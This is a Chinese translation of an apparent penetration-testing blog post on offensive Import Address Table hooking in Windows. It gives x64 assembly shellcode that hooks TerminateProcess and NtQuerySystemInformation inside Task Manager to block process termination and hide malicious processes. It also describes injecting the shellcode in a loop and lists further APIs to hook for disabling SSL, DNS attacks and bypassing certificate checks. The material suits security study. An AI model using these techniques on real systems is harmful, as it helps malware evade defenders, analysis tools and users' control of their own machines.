來源:https://pentest.blog/offensive-iat-hooking/
本文將介紹如何將IAT Hook
方法用於攻擊活動。這些方法可用於多種情況,包括攻擊者需要逃避某些防禦和分析機制,或在低特權環境中隱藏痕跡。在進入技術章節之前,你需要熟悉以下術語。
術語介紹
可移植可執行文件( PE):可移植可執行文件(PE)格式是一種可執行文件,目標代碼,DLL
,FON
字體文件以及32位和64位版本Windows
操作系統中使用的其他格式的文件格式。PE格式是一種數據結構,它封裝了Windows OS加載程序管理包裝的可執行代碼所需的信息。
導入地址表( IAT ):當應用程序在不同模塊中調用函數時,地址表用作查找表。它的形式可以是按順序導入和按名稱導入。因爲編譯的程序無法知道它所依賴的庫的內存位置,所以每當進行API調用時都需要進行間接跳轉。當動態鏈接器加載模塊將它們連接在一起時,它會將實際地址寫入IAT插槽,並指向相應庫函數的內存位置。
導入目錄表( IT ):註釋的一部分是導入地址表(IAT),當應用程序調用其他模塊中的函數時,該表用作查找表。它的形式可以是按順序導入和按名稱導入。因爲編譯的程序無法知道它所依賴的庫的內存位置,所以每當進行API調用時都需要間接跳轉。
HOOK:在計算機編程中,術語HOOK涵蓋了一系列的技術,用於通過攔截軟件組件之間傳遞的函數調用或消息或事件來改變或增強操作系統,應用程序或其他軟件組件的行爲。處理此類截獲的函數調用,事件或消息的代碼稱爲鉤子。API HOOK是一種技術,通過它我們可以檢測和修改API調用的行爲和流程。可以使用Windows上的各種方法完成API HOOK。
介紹
API HOOK
可用於許多目的,包括調試和擴展程序的功能,但它也非常有利於攻擊者操縱應用程序邏輯。有幾種方法可以在基於Windows
的操作系統上執行API Hook
,例如;
- 虛擬功能繞行
- 虛函數指針交換
- 虛擬表指針交換
- 導入地址表(IAT)
- VEH
本文將重點介紹這些方法中的IAT HOOK
。這種特殊方法可以解釋爲操縱導入地址表將API函數重定向到所需的存儲器地址。該地址可以是另一個API函數,惡意的shellcode
或程序代碼的另一部分。爲了覆蓋IAT內部的地址,第一步是在進程內存中查找IAT表的地址。查找PE文件中的任何表需要大量的結構解析,幸運的是,找到IAT地址比找到其他大多數地址都容易,因爲它可以在位於PE文件的可選頭部內的數據目錄中找到。
但是找到導入地址表對於HOOK API函數
來說還遠遠不夠。如本文開頭所述,此表僅包含API地址。爲了替換API函數地址,我們需要知道哪一個是要被Hook的API函數。在深入研究PE格式後,可以發現導入地址表中的地址順序與導入名稱表(INT
)相同。解析導入名稱表並找到所需的API函數的索引號將是一個不錯的解決方案。
在導入名稱表(INT
)中查找函數名稱需要在PE文件的導入表中解析\_IMAGE\_IMPORT\_DESCRIPTOR
結構。當嘗試使用反射彙編代碼執行此方法時,可能沒有什麼挑戰性。可以在Art of Anti Detection 3 - Shellcode Alchemy文章中找到更多關於解析\_IMAGE\_IMPORT\_DESCRIPTOR
結構的詳細參考。在解析必要的結構並在IAT內部找到API函數索引之後,在覆蓋函數地址之前需要執行另一個步驟。通常導入地址表位於內存中且只具有讀權限,爲了覆蓋表內的條目,內存保護屬性需要修改爲PAGE\_READWRITE
。藉助 VirtualProtect函數
,可以更改IAT(或只需要覆蓋的條目)的內存保護屬性。可以通過block_api或iat_api 來使用反射組件調用此函數。早期的文章中已經解釋了程序集塊的用法。我花了很多時間和精力編寫了一個名爲hook_api的彙編代碼通過本文中說明的步驟來Hook IAT
。與其他程序集塊相同,此處還使用了ROR13哈希值
來定位INT
內所需API函數
的索引。這個代碼塊的存在讓開發IATHook shell
代碼變得更加容易,正如本文開頭所解釋的,IATHook可以在許多情況下使用,例如濫用應用程序邏輯,特權升級和非特權狀態內的自我防禦。
自我防禦
下面的這段代碼使用hook\_api
將TerminateProcess API
調用重定向到了一個簡單的windows
消息框shellcode。Hook
此類函數可防止宿主進程終止其他正在運行的程序。這個方法可用於攻擊一些軟件的自我防禦機制。
[BITS 64] cld ; Clear direction flags push r10 ; Save R10 call start ; ... %include "hook\_api.asm" start: pop rbp ; Pop the address of hook\_api to RBP call get\_funny\_func ; Get the address of funy\_func to stack funy\_func: incbin "MessageBox64" ; MessageBox shellcode (binary's name) get\_funny\_func: mov r10d,0x5ECADC87 ; hash( "KERNEL32.dll", "TerminateProcess" call rbp ; hook\_api("TerminateProcess","funy\_func") pop rax ; Clear the stack pop r10 ; Restore R10 ret ; Return to caller
在使用nasm -f bin TerminateProcessHook.asm
命令組裝shellcode之後,使用一個簡單的shellcode
注入器程序來執行任務管理器應用程序內的有效載荷。有許多不同的方法可以將shellcode注入到正在運行的進程中,例如使用powersploit ,empire 或metasploit 等等。在一個無限循環的代碼中運行此類注入可用於防止攻擊程序過早的終止用戶層分析和管理工具。
將惡意代碼
隱藏在衆目睽睽下
使用IATHook
方法的另一種創造性使用場景是隱藏你的惡意進程,防止安全人員分析或被安全軟件終止運行。對於大多數程序來說,Hook NtQuerySystemInformation API
會阻止其他程序檢索任何系統信息,從而使程序無法查看我們進程的任何細節。下面的代碼段使用hook_api將NtQuerySystemInformation API
調用重定向到了一個空白函數,在調用時只會返回 NT\_SUCCESS
值。
[BITS 64] cld ; Clear direction flags push r10 ; Save R10 call start ; ... %include "hook\_api.asm" start: pop rbp ; Pop the address of hook\_api to RBP call get\_funny\_func ; Get the address of funy\_func to stack funy\_func: mov rax,0x3FFFFFFF ; Return NT\_SUCCESS ret ; ... get\_funny\_func: mov r10d,0x95513E5D ; hash( "KERNEL32.dll", "NtQuerySystemInformation" ) call rbp ; hook\_api("TerminateProcess","funy\_func") pop rax ; Clear the stack pop r10 ; Restore R10 ret ; Return to caller
在將上述shellcode
組裝並注入任務管理器進程之後,程序不再能夠查看有關正在運行的程序的進程樹或任何其他類型的信息。在無限循環的代碼中運行這樣的注入可以用於隱藏來自用戶層分析和管理工具的進程。
點擊查看演示視頻:https://www.youtube.com/watch?v=crUqjE3S1Sw&feature=youtu.be
結論
執行IATHook
可以形成不同的攻擊場景,唯一的限制在於攻擊者自己的想象力。下面是你在嘗試使用IAT Hook
操作應用程序邏輯時,非常有用的API函數列表。
- OpenProcess(防止打開其他進程)
- CreateThread
- CreateProcess
- WinHttpOpen(禁用SSL)
- getaddrinfo(DNS攻擊)
- DeleteFileW(防止用戶刪除文件)
- WinVerifyTrust(繞過證書檢查)
特權網絡釣魚是另一種攻擊,可以通過在hook_api:https://github.com/EgeBalci/Hook_API的幫助下進行IATHook
。"特權網絡釣魚"一詞可能聽起來很奇怪,這種攻擊會欺騙用戶升級滲透系統內的攻擊者權限。我將會在另一篇文章中介紹這種攻擊技術。